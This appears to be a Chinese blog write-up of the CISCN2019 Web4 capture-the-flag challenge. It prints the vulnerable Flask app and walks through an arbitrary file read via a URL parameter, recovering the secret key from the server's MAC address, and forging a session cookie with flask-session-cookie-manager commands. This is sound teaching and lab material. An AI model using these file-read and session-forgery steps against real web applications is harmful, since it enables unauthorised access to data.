[CISCN2019 华东南赛区]Web4

3 篇文章 0 订阅

[CISCN2019 华东南赛区]Web4

点击就进入了百度的页面,但是发现了url也发生了变化 

尝试一下任意文件读取(/etc/passwd)

尝试一下读取flag

f12查看发现了cookie中的session为jwt格式,可能为flask伪造

先去解密一下session(https://jwt.io/) 

解密结果为www-data,如果是flask伪造的话需要找到secret_key,而在网上搜索flask有关信息时发现里面可能存在一个app.py文件

然后再去任意文件哪里查找有没有app这样的关键词,但是只发现了app并没有发现app.py

尝试读取一下app.py

 

整理如下代码:

# encoding:utf-8 
import re, random, uuid, urllib 
from flask import Flask, session, request 

app = Flask(__name__) 
random.seed(uuid.getnode()) 
app.config['SECRET_KEY'] = str(random.random()*233) 
app.debug = True 

@app.route('/') 
def index(): 
    session['username'] = 'www-data' 
    return 'Hello World! Read somethings' 

@app.route('/read') 
def read(): 
    try: 
        url = request.args.get('url') 
        m = re.findall('^file.*', url, re.IGNORECASE) 
        n = re.findall('flag', url, re.IGNORECASE) 
        if m or n: 
            return 'No Hack' 
        res = urllib.urlopen(url) 
        return res.read() 
    except Exception as ex: 
        print str(ex) 
    return 'no response' 

@app.route('/flag') 
def flag(): 
    if session and session['username'] == 'fuck': 
        return open('/flag.txt').read() 
    else: 
        return 'Access denied' 
if __name__=='__main__': 
    app.run( 
        debug=True, 
        host="0.0.0.0" 
    )

审计代码可得确实是session伪造,并且告诉我们username必须是fuck(if session and session['username'] == 'fuck': ),以及secret_key要利用随机数求得(app.config['SECRET_KEY'] = str(random.random()*233) ),但是种子需要用到uuid.getnode函数(random.seed(uuid.getnode()) ),uuid.getnode函数用于获得网络接口的mac地址,如果机器具有多个网络接口,则返回通用管理的mac地址,而不是通过本地管理的mac地址返回。管理的mac地址保证是全局唯一的。如果getnode函数无法获取mac地址,则他会按照rfc 4122中的建议返回带有多播位得随机48位数字。uuid.getnode函数,是网卡mac地址的十进制数,使用(/sys/class/net/eth0/address)读取一下

找到地址之后按照源代码中的提示,生成secret_key

然后去linux中使用flask-session-cookie-manager-master(GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder)构造出新的session,使用命令(python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Yw8ANw.2tf4dnk4ntx3KEsZf7HC8ByAGlA' -s '105.264175525')(python3 flask_session_cookie_manager3.py encode -s '105.264175525' -t "{'username': b'fuck'}"

然后返回原页面修改session即可

url直接读取flag

完结撒花

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值